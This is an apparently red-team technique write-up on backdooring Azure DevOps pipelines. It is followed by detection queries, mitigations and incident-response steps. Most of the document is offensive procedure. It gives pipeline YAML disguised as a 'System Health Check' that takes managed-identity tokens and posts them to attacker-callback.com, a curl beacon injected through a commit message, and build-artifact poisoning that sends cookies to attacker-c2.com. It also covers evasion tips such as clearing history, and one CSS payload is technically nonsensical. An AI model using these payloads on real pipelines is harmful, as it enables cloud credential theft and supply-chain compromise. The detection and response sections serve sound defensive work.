| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SCHED-003 |
| MITRE ATT&CK v18.1 | T1053 - Scheduled Task/Job |
| Microsoft DevOps Threat Matrix | DEVOPS-PERSISTENCE-01 |
| Tactic | Persistence, Lateral Movement |
| Platforms | Entra ID, Azure DevOps, Azure Pipelines, Git Repositories |
| Severity | Critical |
| CVE | CVE-2023-36437 (Azure Pipelines Agent RCE), CVE-2021-42290 (Azure DevOps PAT Token exposure) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Azure DevOps versions; Azure Pipelines Agent v2.200.0+ affected by CVE-2023-36437 |
| Patched In | Agent v2.210.0+ (CVE-2023-36437 mitigated); requires pipeline YAML sanitization for prevention |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure DevOps Pipelines are continuous integration/continuous deployment (CI/CD) orchestration systems that automatically build, test, and deploy code. An attacker with Contributor or Build Administrator permissions on a repository or pipeline can create persistent backdoors by modifying pipeline YAML files to:
Build.SourceVersionMessage)Unlike traditional CI/CD systems, Azure Pipelines integrate deeply with Azure AD for authentication and authorization. Service Principals used by pipelines often have Owner or Contributor roles on entire subscriptions. An attacker who captures these credentials via a malicious pipeline can become a full cloud environment administrator. Additionally, because pipelines execute code automatically (on every commit, on schedules, or on pull requests), the attack achieves persistent, undetectable code execution that blends in with legitimate development workflows.
Attack Surface: YAML pipeline definitions, variable substitution mechanisms, git commit messages, protected branch bypass via automatic tokens, build agents (Microsoft-hosted or self-hosted), artifact repositories, and service principal credentials embedded in pipeline secrets.
Business Impact: Critical - Full Subscription Compromise & Supply Chain Poisoning. Once a malicious pipeline is deployed, an attacker can:
Technical Context: Pipeline execution is logged, but logs can be deleted if the attacker has sufficient repository permissions. Code modifications are tracked in git history but branches can be deleted. The attack is highly stealthy because malicious pipeline code is often hidden among legitimate build/deployment logic. Many organizations do not audit pipeline YAML changes or do not enforce code review on pipeline configuration files.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure Foundations 2.2.1 | Ensure that Pipeline Permissions are restricted to trusted users |
| DISA STIG | AZUR-CLD-000700 | All pipeline definitions must be reviewed by human auditors before execution |
| NIST 800-53 | CM-9, SA-11 | Configuration Management, Software Development and Integrity |
| GDPR | Art. 32 | Security of Processing - Data breach via supply chain compromise |
| DORA | Art. 14, Art. 15 | Operational Resilience Testing and Attack Simulation for CI/CD systems |
| NIS2 | Art. 21(1)(c) | Cyber Risk Management - Software supply chain integrity |
| ISO 27001 | A.14.1.1, A.14.2.4 | Information Security Development and Maintenance |
| ISO 27005 | Risk Scenario | “Compromise of Development Pipeline” affecting deployed systems |
Supported Platforms:
Tools:
Identify accessible repositories and pipelines:
# List all projects in organization
az devops project list --organization https://dev.azure.com/{org} --output table
# List all repositories in a project
az repos list --project "{project}" --organization https://dev.azure.com/{org} --output table
# List all pipelines in a project
az pipelines list --project "{project}" --organization https://dev.azure.com/{org} --output table
# Get pipeline definition (YAML)
az pipelines show --name "MyPipeline" --project "{project}" --organization https://dev.azure.com/{org}
What to Look For:
trigger: [main] or trigger: [*] (execute on every commit)Check git history for exposed secrets:
# Clone repository
git clone https://dev.azure.com/{org}/{project}/_git/{repo}
# Search for exposed secrets in history
gitleaks detect --source . -v
# List service principals with access to pipelines
az ad sp list --all --query "[].{DisplayName:displayName, AppId:appId}" --output table
# Check role assignments for service principals
az role assignment list --query "[?principalType=='ServicePrincipal']" --output table
# Find pipelines using each service principal
# (Requires pipeline log access)
Supported Versions: All Azure DevOps versions
Objective: Obtain git credentials or PAT token with repository write permissions
Via Compromised Developer Account:
Via PAT Token Theft:
# If you've compromised a developer's PAT token:
git clone https://{username}:{PAT_TOKEN}@dev.azure.com/{org}/{project}/_git/{repo}
Objective: Add malicious steps to the pipeline definition
Clone and Modify:
# Clone the repository
git clone https://dev.azure.com/{org}/{project}/_git/{repo}
cd repo
# Check existing pipeline file
cat azure-pipelines.yml
Original Pipeline (Innocent):
trigger:
- main
pool:
vmImage: 'ubuntu-latest'
steps:
- script: echo Hello, world!
displayName: 'Run a one-line script'
- script: npm install
displayName: 'npm install'
- script: npm run build
displayName: 'Build application'
Malicious Pipeline (With Backdoor):
trigger:
- main
variables:
- name: BUILD_SOURCEVERSIONMESSAGE
value: 'Initial commit' # This will be overwritten by git commit message
pool:
vmImage: 'ubuntu-latest'
steps:
# ===== HIDDEN MALICIOUS STEP =====
- script: |
# Exfiltrate service principal credentials
echo "##vso[task.setvariable variable=CRED_EXPORT]true"
# Retrieve access token for Azure subscriptions
TOKEN=$(curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com' \
-H "Metadata:true" | python3 -c "import sys, json; print(json.load(sys.stdin)['access_token'])")
# Exfiltrate to attacker's server
curl -X POST "https://attacker-callback.com/exfil" \
-H "Content-Type: application/json" \
-d "{\"token\":\"$TOKEN\", \"principal\":\"$(echo $SYSTEM_TEAMFOUNDATIONCOLLECTIONURI)\"}"
# Hide the attack by clearing bash history
history -c && history -w
displayName: 'System Health Check'
condition: always() # Execute even if previous steps fail
continueOnError: true # Don't fail the pipeline
# ===== ORIGINAL STEPS CONTINUE =====
- script: echo Hello, world!
displayName: 'Run a one-line script'
- script: npm install
displayName: 'npm install'
- script: npm run build
displayName: 'Build application'
Explanation of Backdoor:
continueOnError: true to hide failureObjective: Push the modified pipeline to the repository
# Create malicious branch
git checkout -b feature/system-improvements
# Stage and commit changes
git add azure-pipelines.yml
git commit -m "Add system health monitoring step"
# Push to repository
git push origin feature/system-improvements
# Create Pull Request (or merge directly if reviewer approval is weak)
az repos pr create --project "{project}" \
--repo-id "{repo}" \
--source-branch "feature/system-improvements" \
--target-branch "main" \
--title "Add system health monitoring" \
--auto-complete
Objective: Execute the malicious pipeline
Automatic Trigger (On Code Push):
main, the pipeline automatically executesManual Trigger:
# Manually run the pipeline
az pipelines run --name "MyPipeline" \
--project "{project}" \
--branch "main" \
--organization https://dev.azure.com/{org}
OpSec & Evasion:
continueOnError: true to hide failuresSupported Versions: Azure DevOps through v2.200.0+ (partially fixed in newer versions)
Vulnerability: Azure Pipelines variables derived from git commits (e.g., Build.SourceVersionMessage) are not properly sanitized before use in scripts. An attacker can inject malicious commands via git commit messages.
Objective: Create a commit with a malicious message that will be executed as a pipeline variable
Example Malicious Commit Message:
# Using git command line
git commit --allow-empty -m "Fix bug
##vso[task.setvariable variable=MALICIOUS_VAR]true;echo$(curl https://attacker-callback.com/beacon);#"
The commit message is broken down:
Fix bug - Legitimate-sounding commit message##vso[...] - Azure DevOps logging command syntax (interpreted as a pipeline directive)task.setvariable - Sets a pipeline variable with malicious contentcurl https://attacker-callback.com/beacon - Exfiltration commandObjective: The pipeline YAML uses the Build.SourceVersionMessage variable, which contains the injected command
Vulnerable Pipeline YAML:
trigger:
- main
steps:
- script: echo "Latest commit: $(Build.SourceVersionMessage)"
displayName: 'Show commit message'
- script: |
# This variable is substituted with the malicious git commit message
COMMIT_MSG="$(Build.SourceVersionMessage)"
# If the commit message contains shell injection, it executes here
bash -c "$COMMIT_MSG"
displayName: 'Process commit'
When the pipeline runs, the $(Build.SourceVersionMessage) variable is replaced with the malicious commit message, and the injected command executes.
# Push the commit with malicious message
git push origin main
# Pipeline automatically triggers and executes injected command
OpSec & Evasion:
Supported Versions: All Azure DevOps versions
Objective: Determine which service principal the pipeline uses to authenticate to Azure
Method A: Via Pipeline Logs
# Get pipeline run details
az pipelines runs list --pipeline-ids "{pipeline_id}" \
--project "{project}" \
--organization https://dev.azure.com/{org} \
--top 1
# Check the logs for service principal info
az pipelines runs logs --run-id "{run_id}" \
--project "{project}" \
--organization https://dev.azure.com/{org}
Method B: Steal via Malicious Pipeline Step
steps:
- script: |
# Extract service principal credentials from environment
echo "##vso[task.setvariable variable=SYSTEM_IDENTITY]$(SYSTEM_ACCESSTOKEN)"
# Or retrieve them from Azure metadata service
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com' \
-H "Metadata:true" > /tmp/token.json
# Exfiltrate to attacker C2
curl -X POST "https://attacker-callback.com/creds" \
-d @/tmp/token.json
displayName: 'Collect system metrics'
env:
SYSTEM_ACCESSTOKEN: $(System.AccessToken)
Objective: Use captured service principal credentials to access Azure resources
# Example: Using stolen access token to query Azure resources
TOKEN="<stolen_token_from_exfiltration>"
curl -X GET "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Compute/virtualMachines?api-version=2021-07-01" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json"
# Or login as the service principal
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>
# Now the attacker has full access to all Azure resources the service principal can access
Supported Versions: All Azure DevOps versions
Objective: Inject malicious code into build artifacts before they are published
Malicious Pipeline Step:
steps:
- script: npm run build
displayName: 'Build application'
# ===== HIDDEN BACKDOOR STEP =====
- script: |
# Inject malicious code into the build artifact
echo "
// Backdoor code injected by attacker
fetch('https://attacker-c2.com/beacon', {
method: 'POST',
body: JSON.stringify({
user: navigator.userAgent,
cookies: document.cookie
})
});
" >> ./dist/app.js
# Inject into CSS to log user data
echo "
@font-face {
font-family: 'backdoor';
src: url('https://attacker-c2.com/log?data=' + new XMLHttpRequest().open('GET', 'file:///etc/passwd'));
}
" >> ./dist/styles.css
displayName: 'Optimize build'
condition: succeeded()
- script: npm run test
displayName: 'Run tests'
- task: PublishBuildArtifacts@1
inputs:
PathtoPublish: '$(Build.ArtifactStagingDirectory)'
ArtifactName: 'drop'
displayName: 'Publish artifacts'
Impact:
The poisoned artifact is deployed to production, and the malicious code executes in the customer environment.
Real-World Example: Codecov Breach (2021) - Attackers modified a build script to exfiltrate customer credentials.
Version: 0.25.0+
Installation:
# Install Azure DevOps CLI extension
az extension add --name azure-devops
# Configure organization default
az devops configure --defaults organization=https://dev.azure.com/{org}
Key Commands:
# List projects
az devops project list --output table
# Clone repository
az repos show --repo-id "{repo}" --project "{project}"
# Get pipeline YAML
az pipelines show --name "MyPipeline" --project "{project}" --output json | jq .
# Run pipeline
az pipelines run --name "MyPipeline" --project "{project}" --branch "main"
# List pipeline runs
az pipelines runs list --pipeline-ids "{pipeline_id}" --project "{project}" --top 5
# Get pipeline logs
az pipelines runs logs --run-id "{run_id}" --project "{project}"
# Create service connection (for credential theft)
az devops service-endpoint list --project "{project}" --output table
Key Commands for Attack:
# Clone with PAT token
git clone https://{username}:{PAT_TOKEN}@dev.azure.com/{org}/{project}/_git/{repo}
# Commit with malicious message
git commit --allow-empty -m "Message with ##vso[task.setvariable ...] injection"
# Push to repository
git push origin branch-name
# Force push (overwrite protected branch if possible)
git push --force origin main
# View commit history for secrets
git log --all -p | grep -i "secret\|password\|token\|key"
Variable Substitution (Template Expressions):
steps:
- script: echo $(Build.SourceVersionMessage)
displayName: 'Print git message (vulnerable to injection)'
- script: echo $
displayName: 'Template expression (less vulnerable but still risky)'
Logging Commands (Azure DevOps specific):
# In PowerShell steps:
Write-Host "##vso[task.setvariable variable=MyVar]MyValue"
Write-Host "##vso[task.setvariable variable=MyVar;isOutput=true]MyValue"
# In bash steps:
echo "##vso[task.setvariable variable=MyVar]MyValue"
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName has "Microsoft.TeamFoundation"
and (OperationName contains "Pipeline" or OperationName contains "Build")
and OperationName contains "write"
| where Result == "Success"
| extend InitiatedByUser = tostring(InitiatedBy.user.userPrincipalName)
| extend TargetPipeline = tostring(TargetResources[0].displayName)
| extend ModifiedProps = parse_json(TargetResources[0].modifiedProperties)
| project TimeGenerated, InitiatedByUser, OperationName, TargetPipeline,
ActivityDisplayName, ModifiedProps, AADTenantId
| where OperationName contains "Build.Definition" or OperationName contains "Pipeline.Definition"
Manual Configuration Steps:
Azure DevOps Pipeline YAML ModifiedHigh15 minutes1 hourKQL Query:
AuditLogs
| where OperationName has "Microsoft.TeamFoundation/Build"
and OperationName contains "logs"
or OperationName contains "artifacts"
| extend PipelineLog = tostring(TargetResources[0].displayName)
| where PipelineLog contains "token" or PipelineLog contains "credential"
or PipelineLog contains "secret" or PipelineLog contains "password"
| project TimeGenerated, InitiatedBy.user.userPrincipalName,
PipelineLog, TargetResources[0].resourceId
KQL Query:
AuditLogs
| where OperationName has "Microsoft.TeamFoundation/Repositories"
and OperationName contains "Commit"
| where Result == "Success"
| extend CommitMessage = tostring(TargetResources[0].displayName)
| where CommitMessage contains "##vso" or CommitMessage contains "invoke"
or CommitMessage contains "curl" or CommitMessage contains "powershell"
| project TimeGenerated, InitiatedBy.user.userPrincipalName,
CommitMessage, TargetResources
Rule Configuration:
SPL Query:
index=azure_activity operationName="Microsoft.TeamFoundation.Build.Pipelines.Create"
OR operationName="Microsoft.TeamFoundation.Build.Pipelines.Update"
status=Succeeded
| search properties.definition="*curl*" OR properties.definition="*Invoke-WebRequest*"
OR properties.definition="*wget*" OR properties.definition="*exfil*"
| dedup object
| rename initiatedBy.user.userPrincipalName as user
| stats count, min(_time) as firstTime, max(_time) as lastTime,
values(properties.definition) as definition_snippet
by object, user, resourceGroupName
| where count > 0
SPL Query:
index=devops_logs sourcetype="azure:devops:pipeline"
| search "System.AccessToken" OR "access_token" OR "curl.*metadata"
| stats count by buildDefinitionName, buildDefinitionVersion,
queuedById, requestedForId
| where count > 10
Note: Azure DevOps Pipelines execute in Microsoft-managed or customer-managed agents. On-premises logging (Event ID 4688 for self-hosted agents) may capture agent execution. Refer to Microsoft Sentinel queries above for comprehensive monitoring.
1. Enforce Code Review for All Pipeline Changes
Manual Steps (Azure DevOps Portal):
Via Azure CLI:
# Create branch policy for code review
az repos policy pr-creator-vote create \
--repository-id "{repo}" \
--project "{project}" \
--blocking false
az repos policy approver-count create \
--repository-id "{repo}" \
--project "{project}" \
--minimum-approver-count 2 \
--blocking true
2. Restrict Pipeline Modification Permissions
Manual Steps:
Via RBAC (Azure DevOps):
# Create custom security group for pipeline admins
az devops security group create --name "PipelineAdmins" --project "{project}"
# Add users to the group
az devops security group member add --group-id "{group_id}" --member-id "{user_id}"
# Set permissions
az devops security permission update --namespace "Namespace.Build" \
--subject "PipelineAdmins" --permission "EditBuildDefinition" --allow true
3. Enable Audit Logging for All Repository and Pipeline Operations
Manual Steps:
Via Azure CLI:
# Enable audit logging for DevOps
az devops admin audit log list --start-time "2025-01-01" --end-time "2025-01-31" --output table
# Export audit logs
az devops admin audit log list --start-time "2024-01-01" --end-time "2025-01-09" \
| jq . > audit_logs.json
4. Restrict Git Push Permissions to Protected Branches
Manual Steps:
5. Use Managed Identities Instead of Service Principals with Hardcoded Secrets
Manual Steps:
# YAML Pipeline using Managed Identity
trigger:
- main
jobs:
- job: DeployWithManagedIdentity
steps:
- task: AzureCLI@2
inputs:
azureSubscription: 'ManagedIdentityConnection' # Service Connection using Managed Identity
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
az vm list --output table
displayName: 'List VMs using Managed Identity'
Avoid hardcoding service principal secrets in pipeline variables.
6. Implement Pipeline Run History Retention and Immutability
Manual Steps:
7. Monitor and Alert on Suspicious Variable Usage
Create Sentinel alert for variable substitution abuse:
AuditLogs
| where OperationName has "Build.Variable" and OperationName contains "write"
| where TargetResources[0].displayName contains "System.AccessToken"
or TargetResources[0].displayName contains "Build.SourceVersionMessage"
or TargetResources[0].displayName contains "SYSTEM_ACCESSTOKEN"
| project TimeGenerated, InitiatedBy.user.userPrincipalName,
TargetResources[0].displayName
8. Regular Pipeline Security Audit
Manual Steps (Quarterly):
# Search for suspicious patterns
git clone {repo}
grep -r "curl\|wget\|Invoke-WebRequest\|exfil\|beacon" . --include="*.yml" --include="*.yaml"
Azure Audit Log Indicators:
Microsoft.TeamFoundation.Build.Pipelines.Create or Updatecurl, wget, Invoke-WebRequest, Invoke-RestMethodGit Repository Indicators:
##vso[task.setvariable ...] directivesazure-pipelines.yml outside normal development windowsfeature/system-improvements) containing malicious codeBuild Log Indicators:
curl or wget commands to external URLsSystem.AccessToken or Build.SourceVersionMessagehistory -c or log clearing commandsCloud Audit Logs:
AuditLogs tableTimeGenerated - When pipeline was modifiedInitiatedBy.user.userPrincipalName - Who created/modified itTargetResources[0].displayName - Pipeline nameTargetResources[0].modifiedProperties - YAML content changesGit Repository:
Pipeline Execution Logs:
1. Immediate Isolation:
# Disable the malicious pipeline
az pipelines update --name "MaliciousPipeline" --project "{project}" \
--state "disabled"
# Revoke the service principal's credentials
az ad app credential delete --id "{app_id}"
# Revoke PAT tokens if compromised
az devops user token revoke --token-id "{token_id}"
2. Collect Evidence:
# Export pipeline definition
az pipelines show --name "MaliciousPipeline" --project "{project}" --output json \
> /tmp/pipeline_def.json
# Export git history
git log --all --format=fuller --output="/tmp/git_history.txt"
# Export audit logs
az devops admin audit log list --start-time "2025-01-01" --end-time "2025-01-09" \
| jq . > /tmp/audit_logs.json
# Export pipeline run logs
az pipelines runs logs --run-id "{run_id}" --project "{project}" \
> /tmp/pipeline_logs.txt
3. Remediate:
# Delete the malicious pipeline
az pipelines delete --name "MaliciousPipeline" --project "{project}" --yes
# Revert git commits
git revert <commit-hash>
git push origin main
# Reset service principal password
az ad app credential reset --id "{app_id}" --append
4. Investigate Downstream Impact:
# Check if malicious build artifacts were deployed
az acr repository list-manifests --registry "{registryName}" \
--repository "{repoName}" | grep "{suspicious_build_id}"
# Query for suspicious service principal usage
az role assignment list --assignee "{service_principal_id}"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 | Phishing attack to steal developer PAT token |
| 2 | Privilege Escalation | PE-ACCTMGMT-010 | Escalate access to pipeline edit permissions |
| 3 | Current Step | [PERSIST-SCHED-003] | Create persistent pipeline backdoor |
| 4 | Credential Access | CA-TOKEN-008 | Steal service principal PAT tokens from pipeline |
| 5 | Lateral Movement | LM-AUTH-029 | Use stolen credentials to access other Azure resources |
| 6 | Impact | IMPACT-SUPPLY-001 | Inject malware into production builds (supply chain attack) |
azure-pipelines.yml to steal service principal credentials. Extracted credentials and used them to compromise production Azure subscriptions.